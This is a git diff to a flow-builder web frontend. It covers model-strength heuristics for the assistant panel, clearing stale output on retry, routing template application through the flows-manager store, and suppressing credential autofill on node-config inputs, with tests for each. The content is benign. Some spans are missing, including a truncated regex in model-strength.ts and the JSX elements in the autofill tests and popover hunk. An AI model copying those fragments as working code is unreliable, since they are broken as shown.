a/src/frontend/src/components/core/assistantPanel/helpers/model-strength.ts b/src/frontend/src/components/core/assistantPanel/helpers/model-strength.ts index 70a01c6712..f49b8b7f47 100644 --- a/src/frontend/src/components/core/assistantPanel/helpers/model-strength.ts +++ b/src/frontend/src/components/core/assistantPanel/helpers/model-strength.ts @@ -17,8 +17,15 @@ * 3. **Parameter count** — open-source models typically include their * parameter count (`7b`, `8b`, `13b`). Anything ≤ 13B is too small for * multi-step agent loops in our experience. Requires a digit boundary - * so `70b` / `405b` are NOT matched. - * 4. **Default: strong** — unknown models are treated as strong so the + * so `70b` / `405b` are NOT matched. A LARGE count (≥ 14B) anywhere in + * the name short-circuits to strong, so `qwen2.5-coder:32b` is never + * flagged by its family. + * 4. **Bare local-server tags** — Ollama/LM Studio tags often omit the + * param count entirely (`llama3.2:latest` is the 3B default; + * `mistral` is 7B). The base name (before `:`) is matched against the + * known small-default families. Verified live 2026-06-12: llama3.2 + * and qwen2.5-7b fail the assistant agent loop. + * 5. **Default: strong** — unknown models are treated as strong so the * hint never appears for a model we simply haven't catalogued. * * Not a security gate. The classification is advisory; the UI behavior is @@ -42,14 +49,53 @@ const WEAK_FAMILY_PATTERNS: RegExp[] = [ // digit, so `70b` / `405b` / `175b` are NOT captured. const SMALL_PARAM_PATTERN = /(? re.test(name))) return "weak"; + if (SMALL_DEFAULT_BASE_NAMES.has(name.split(":")[0])) return "weak"; if (SMALL_PARAM_PATTERN.test(name)) return "weak"; return "strong"; diff --git a/src/frontend/src/components/core/assistantPanel/hooks/__tests__/use-assistant-chat-progress.test.ts b/src/frontend/src/components/core/assistantPanel/hooks/__tests__/use-assistant-chat-progress.test.ts index 96a3621311..b10d9d7e6c 100644 --- a/src/frontend/src/components/core/assistantPanel/hooks/__tests__/use-assistant-chat-progress.test.ts +++ b/src/frontend/src/components/core/assistantPanel/hooks/__tests__/use-assistant-chat-progress.test.ts @@ -400,3 +400,40 @@ describe("useAssistantChat — progress field propagation", () => { }); }); }); + +describe("useAssistantChat — retrying clears stale partial output", () => { + beforeEach(() => { + jest.clearAllMocks(); + mockPostAssistStream.mockResolvedValue(undefined); + }); + + it("should clear streamed content when the backend retries the attempt", async () => { + // Observed live (2026-06-12): a leaked tool-call fragment from a failed + // attempt stayed on screen while the next attempt ran. + mockPostAssistStream.mockImplementation( + async (_request: unknown, callbacks: Record) => { + callbacks.onToken({ + event: "token", + chunk: '{"component_type":"Memory"}', + }); + callbacks.onProgress({ + event: "progress", + step: "retrying", + attempt: 2, + max_attempts: 4, + message: "No canvas changes detected — retrying...", + }); + }, + ); + + const { result } = renderHook(() => useAssistantChat()); + await act(async () => { + await result.current.handleSend("crie um flow", TEST_MODEL); + }); + + const assistant = result.current.messages.find( + (m) => m.role === "assistant", + ); + expect(assistant?.content).toBe(""); + }); +}); diff --git a/src/frontend/src/components/core/assistantPanel/hooks/use-assistant-chat.ts b/src/frontend/src/components/core/assistantPanel/hooks/use-assistant-chat.ts index dacdee43f3..42b709163a 100644 --- a/src/frontend/src/components/core/assistantPanel/hooks/use-assistant-chat.ts +++ b/src/frontend/src/components/core/assistantPanel/hooks/use-assistant-chat.ts @@ -345,6 +345,9 @@ export function useAssistantChat(): UseAssistantChatReturn { setCurrentStep(event.step); updateMessage(assistantMessageId, (msg) => ({ + // A retry restarts generation; the failed attempt's partial + // output (often a leaked tool-call fragment) must not linger. + ...(event.step === "retrying" ? { content: "" } : {}), progress: { step: event.step, attempt: event.attempt, diff --git a/src/frontend/src/components/core/flowBuilderWelcome/hooks/__tests__/use-apply-template-to-current-flow.test.tsx b/src/frontend/src/components/core/flowBuilderWelcome/hooks/__tests__/use-apply-template-to-current-flow.test.tsx index 72f582911d..0c872f195f 100644 --- a/src/frontend/src/components/core/flowBuilderWelcome/hooks/__tests__/use-apply-template-to-current-flow.test.tsx +++ b/src/frontend/src/components/core/flowBuilderWelcome/hooks/__tests__/use-apply-template-to-current-flow.test.tsx @@ -10,7 +10,7 @@ import { useApplyTemplateToCurrentFlow } from "../use-apply-template-to-current- const setNodes = jest.fn(); const setEdges = jest.fn(); -const setCurrentFlow = jest.fn(); +const setCurrentFlowInManager = jest.fn(); const saveFlow = jest.fn().mockResolvedValue(undefined); let currentFlow: unknown; @@ -18,7 +18,7 @@ let currentFlow: unknown; jest.mock("@/stores/flowStore", () => ({ __esModule: true, default: jest.fn((selector?: (state: unknown) => unknown) => { - const state = { setNodes, setEdges, setCurrentFlow, currentFlow }; + const state = { setNodes, setEdges, currentFlow }; return selector ? selector(state) : state; }), })); @@ -68,17 +68,23 @@ function setStores( ) { mockedFlowsManagerStore.mockImplementation( (selector?: (state: unknown) => unknown) => { - const state = { examples, flows }; + const state = { + examples, + flows, + setCurrentFlow: setCurrentFlowInManager, + }; return selector ? selector(state) : state; }, ); + (mockedFlowsManagerStore as unknown as { getState: () => unknown }).getState = + () => ({ currentFlow }); } describe("useApplyTemplateToCurrentFlow", () => { beforeEach(() => { setNodes.mockClear(); setEdges.mockClear(); - setCurrentFlow.mockClear(); + setCurrentFlowInManager.mockClear(); saveFlow.mockClear(); currentFlow = { id: "flow-1", @@ -89,7 +95,7 @@ describe("useApplyTemplateToCurrentFlow", () => { setStores(fullExamples); }); - it("should_call_setNodes_and_setEdges_with_template_data_when_template_is_applied", () => { + it("should_apply_template_data_to_current_flow_when_template_is_applied", () => { const { result } = renderHook(() => useApplyTemplateToCurrentFlow()); let didApply = false; @@ -98,8 +104,16 @@ describe("useApplyTemplateToCurrentFlow", () => { }); expect(didApply).toBe(true); - expect(setNodes).toHaveBeenCalledWith([{ id: "n1" }]); - expect(setEdges).toHaveBeenCalledWith([{ id: "e1" }]); + // setCurrentFlowInManager (which internally calls resetFlow → setNodes/setEdges) + // is the path taken when currentFlow exists. + expect(setCurrentFlowInManager).toHaveBeenCalledWith( + expect.objectContaining({ + data: expect.objectContaining({ + nodes: [{ id: "n1" }], + edges: [{ id: "e1" }], + }), + }), + ); }); it("should_pick_the_correct_template_when_a_different_name_key_is_passed", () => { @@ -109,8 +123,14 @@ describe("useApplyTemplateToCurrentFlow", () => { result.current("vector_store_rag"); }); - expect(setNodes).toHaveBeenCalledWith([{ id: "n2" }, { id: "n3" }]); - expect(setEdges).toHaveBeenCalledWith([{ id: "e2" }]); + expect(setCurrentFlowInManager).toHaveBeenCalledWith( + expect.objectContaining({ + data: expect.objectContaining({ + nodes: [{ id: "n2" }, { id: "n3" }], + edges: [{ id: "e2" }], + }), + }), + ); }); it("should_return_false_and_not_mutate_when_no_example_matches_name_key", () => { @@ -137,7 +157,7 @@ describe("useApplyTemplateToCurrentFlow", () => { }); // The generic "New Flow" placeholder adopts the template name... - expect(setCurrentFlow).toHaveBeenCalledWith( + expect(setCurrentFlowInManager).toHaveBeenCalledWith( expect.objectContaining({ id: "flow-1", name: "Simple Agent" }), ); // ...and the rename is persisted via saveFlow. @@ -159,7 +179,7 @@ describe("useApplyTemplateToCurrentFlow", () => { result.current("simple_agent"); }); - expect(setCurrentFlow).toHaveBeenCalledWith( + expect(setCurrentFlowInManager).toHaveBeenCalledWith( expect.objectContaining({ name: "Simple Agent (1)" }), ); }); @@ -176,7 +196,7 @@ describe("useApplyTemplateToCurrentFlow", () => { result.current("simple_agent"); }); - expect(setCurrentFlow).toHaveBeenCalledWith( + expect(setCurrentFlowInManager).toHaveBeenCalledWith( expect.objectContaining({ name: "Simple Agent" }), ); }); @@ -194,11 +214,11 @@ describe("useApplyTemplateToCurrentFlow", () => { await Promise.resolve(); }); - expect(setCurrentFlow).toHaveBeenNthCalledWith( + expect(setCurrentFlowInManager).toHaveBeenNthCalledWith( 1, expect.objectContaining({ name: "Simple Agent" }), ); - expect(setCurrentFlow).toHaveBeenLastCalledWith(original); + expect(setCurrentFlowInManager).toHaveBeenLastCalledWith(original); }); it("should_not_rename_or_persist_when_there_is_no_current_flow", () => { @@ -209,7 +229,7 @@ describe("useApplyTemplateToCurrentFlow", () => { result.current("simple_agent"); }); - expect(setCurrentFlow).not.toHaveBeenCalled(); + expect(setCurrentFlowInManager).not.toHaveBeenCalled(); expect(saveFlow).not.toHaveBeenCalled(); }); }); diff --git a/src/frontend/src/components/core/flowBuilderWelcome/hooks/use-apply-template-to-current-flow.ts b/src/frontend/src/components/core/flowBuilderWelcome/hooks/use-apply-template-to-current-flow.ts index 25518c1acf..58400f8052 100644 --- a/src/frontend/src/components/core/flowBuilderWelcome/hooks/use-apply-template-to-current-flow.ts +++ b/src/frontend/src/components/core/flowBuilderWelcome/hooks/use-apply-template-to-current-flow.ts @@ -14,19 +14,21 @@ import { export function useApplyTemplateToCurrentFlow() { const setNodes = useFlowStore((state) => state.setNodes); const setEdges = useFlowStore((state) => state.setEdges); - const setCurrentFlow = useFlowStore((state) => state.setCurrentFlow); const currentFlow = useFlowStore((state) => state.currentFlow); const reactFlowInstance = useFlowStore((state) => state.reactFlowInstance); const examples = useFlowsManagerStore((state) => state.examples); const flows = useFlowsManagerStore((state) => state.flows); + // Use the manager store's setCurrentFlow so resetFlow (and syncNodeTranslations) + // runs, ensuring component names are shown in the active language immediately. + const setCurrentFlowInManager = useFlowsManagerStore( + (state) => state.setCurrentFlow, + ); const saveFlow = useSaveFlow(); return useCallback( (nameKey: StarterTemplateNameKey, onFitted?: () => void): boolean => { const template = findStarterTemplate(examples, nameKey); if (!template?.data) return false; - setNodes(template.data.nodes ?? []); - setEdges(template.data.edges ?? []); if (currentFlow) { const renamedFlow: FlowType = { @@ -42,10 +44,23 @@ export function useApplyTemplateToCurrentFlow() { viewport: currentFlow.data?.viewport ?? { x: 0, y: 0, zoom: 1 }, }, }; - setCurrentFlow(renamedFlow); + // resetFlow (called inside setCurrentFlowInManager) sets nodes/edges + // and calls syncNodeTranslations — no need for separate setNodes/setEdges. + setCurrentFlowInManager(renamedFlow); // Roll back the optimistic rename on failure (saveFlow toasts its own error). - void saveFlow(renamedFlow).catch(() => setCurrentFlow(currentFlow)); + // Only restore if the user hasn't already switched to a different flow. + void saveFlow(renamedFlow).catch(() => { + const latest = useFlowsManagerStore.getState().currentFlow; + if (latest?.id === renamedFlow.id) { + setCurrentFlowInManager(currentFlow); + } + }); + } else { + // No flow context yet — update the canvas directly as a fallback. + setNodes(template.data.nodes ?? []); + setEdges(template.data.edges ?? []); } + // fitView reads node sizes from the DOM: wait two rAFs for ReactFlow to // commit/measure, then snap (no duration) while the overlay still covers it. requestAnimationFrame(() => { @@ -64,7 +79,7 @@ export function useApplyTemplateToCurrentFlow() { currentFlow, setNodes, setEdges, - setCurrentFlow, + setCurrentFlowInManager, saveFlow, reactFlowInstance, ], diff --git a/src/frontend/src/components/core/parameterRenderComponent/components/inputComponent/__tests__/input-component-autofill.test.tsx b/src/frontend/src/components/core/parameterRenderComponent/components/inputComponent/__tests__/input-component-autofill.test.tsx new file mode 100644 index 0000000000..bd278856af --- /dev/null +++ b/src/frontend/src/components/core/parameterRenderComponent/components/inputComponent/__tests__/input-component-autofill.test.tsx @@ -0,0 +1,70 @@ +import { render } from "@testing-library/react"; +import InputComponent from "../index"; + +/** + * Locks the autofill scoping for InputComponent: + * - node-config fields (the non-form CustomInputPopover path, incl. API-key / + * secret fields) suppress autofill so the browser cannot inject saved + * credentials that autosave persists; + * - real credential forms opt back in via isForm + allowAutofill and must NOT + * carry the password-manager opt-out attributes. + */ +describe("InputComponent — autofill scoping", () => { + const IGNORE_ATTRS = [ + "data-1p-ignore", + "data-lpignore", + "data-bwignore", + "data-form-type", + ]; + + const getInput = (ui: React.ReactElement): HTMLInputElement => { + const { container } = render(ui); + const input = container.querySelector("input"); + if (!input) throw new Error("input not found"); + return input; + }; + + it("suppresses autofill with new-password on a node-config secret field", () => { + const input = getInput( + , + ); + expect(input.getAttribute("autocomplete")).toBe("new-password"); + for (const attr of IGNORE_ATTRS) { + expect(input.hasAttribute(attr)).toBe(true); + } + }); + + it("suppresses autofill with off on a node-config text field", () => { + const input = getInput( + , + ); + expect(input.getAttribute("autocomplete")).toBe("off"); + for (const attr of IGNORE_ATTRS) { + expect(input.hasAttribute(attr)).toBe(true); + } + }); + + it("keeps autofill working on a credential form (isForm + allowAutofill) with no opt-outs", () => { + const input = getInput( + , + ); + expect(input.getAttribute("autocomplete")).not.toBe("new-password"); + for (const attr of IGNORE_ATTRS) { + expect(input.hasAttribute(attr)).toBe(false); + } + }); + + it("still suppresses a form input that does not opt in (e.g. folder rename)", () => { + const input = getInput( + , + ); + expect(input.getAttribute("autocomplete")).toBe("off"); + expect(input.hasAttribute("data-1p-ignore")).toBe(true); + }); +}); diff --git a/src/frontend/src/components/core/parameterRenderComponent/components/inputComponent/components/popover/index.tsx b/src/frontend/src/components/core/parameterRenderComponent/components/inputComponent/components/popover/index.tsx index c92e0945ad..5413885a40 100644 --- a/src/frontend/src/components/core/parameterRenderComponent/components/inputComponent/components/popover/index.tsx +++ b/src/frontend/src/components/core/parameterRenderComponent/components/inputComponent/components/popover/index.tsx @@ -16,6 +16,10 @@ import { PopoverContent, PopoverContentWithoutPortal, } from "@/components/ui/popover"; +import { + getSuppressedAutoComplete, + PASSWORD_MANAGER_IGNORE_PROPS, +} from "@/utils/inputAutofill"; import { cn } from "@/utils/utils"; import { useIMEInputForOnChange } from "../../../../hooks/use-ime-input"; @@ -301,7 +305,8 @@ const CustomInputPopover = ({ {(!selectedOption?.length && !selectedOptions?.length) || disabled ? ( setIsFocused(true)} autoFocus={autoFocus} id={id} diff --git a/src/frontend/src/components/core/parameterRenderComponent/components/inputComponent/index.tsx b/src/frontend/src/components/core/parameterRenderComponent/components/inputComponent/index.tsx index 30b8ac8b9b..fbe5de58ad 100644 --- a/src/frontend/src/components/core/parameterRenderComponent/components/inputComponent/index.tsx +++ b/src/frontend/src/components/core/parameterRenderComponent/components/inputComponent/index.tsx @@ -30,6 +30,7 @@ interface FormInputBranchProps { blurOnEnter: boolean; name?: string; id: string; + allowAutofill?: boolean; } function FormInputBranch({ @@ -49,6 +50,7 @@ function FormInputBranch({ blurOnEnter, name, id, + allowAutofill, }: FormInputBranchProps) { const [cursor, setCursor] = useState(null); @@ -91,6 +93,7 @@ function FormInputBranch({ name={name} id={"form-" + id} ref={refInput} + allowAutofill={allowAutofill} autoFocus={autoFocus} type={password && !pwdVisible ? "password" : "text"} {...imeInputProps} @@ -126,6 +129,7 @@ export default function InputComponent({ disabled, required = false, isForm = false, + allowAutofill = false, password, editNode = false, placeholder = "Type something...", @@ -190,6 +194,7 @@ export default function InputComponent({ blurOnEnter={blurOnEnter} name={name} id={id} + allowAutofill={allowAutofill} /> ) : ( <> diff --git a/src/frontend/src/components/core/parameterRenderComponent/components/tableComponent/index.tsx b/src/frontend/src/components/core/parameterRenderComponent/components/tableComponent/index.tsx index f5246ac639..6f2a2f965c 100644 --- a/src/frontend/src/components/core/parameterRenderComponent/components/tableComponent/index.tsx +++ b/src/frontend/src/components/core/parameterRenderComponent/components/tableComponent/index.tsx @@ -5,6 +5,7 @@ import { useDarkStore } from "@/stores/darkStore"; import "@/style/ag-theme-shadcn.css"; // Custom CSS applied to the grid import type { ColDef } from "ag-grid-community"; import type { TableOptionsTypeAPI } from "@/types/api"; +import { suppressAutofillOnElement } from "@/utils/inputAutofill"; import { cn } from "@/utils/utils"; import "ag-grid-community/styles/ag-grid.css"; // Mandatory CSS required by the grid import "ag-grid-community/styles/ag-theme-quartz.css"; // Optional Theme applied to the grid @@ -331,6 +332,22 @@ const TableComponent = forwardRef< params.api.sizeColumnsToFit(); } }; + const onCellEditingStarted = (event) => { + // ag-grid mounts its cell editor /